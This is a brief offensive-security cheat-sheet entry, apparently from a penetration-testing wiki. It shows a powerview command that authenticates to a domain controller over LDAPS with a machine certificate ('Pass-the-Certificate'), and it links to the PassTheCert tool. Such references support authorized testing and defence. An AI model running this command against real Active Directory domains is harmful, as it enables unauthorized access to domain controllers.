Pass-the-Certificate

Schannel authentication

Authenticate with a certificate using powerview.py:

$ powerview --pfx dc01.pfx megacorp.local/'DC01$'@DC01.megacorp.local -p 636 --use-ldaps --no-admin-check --dc-ip 192.168.1.11 -ns 192.168.1.11 [--obfuscate]

Tools

PassTheCert

• https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

• https://github.com/AlmondOffSec/PassTheCert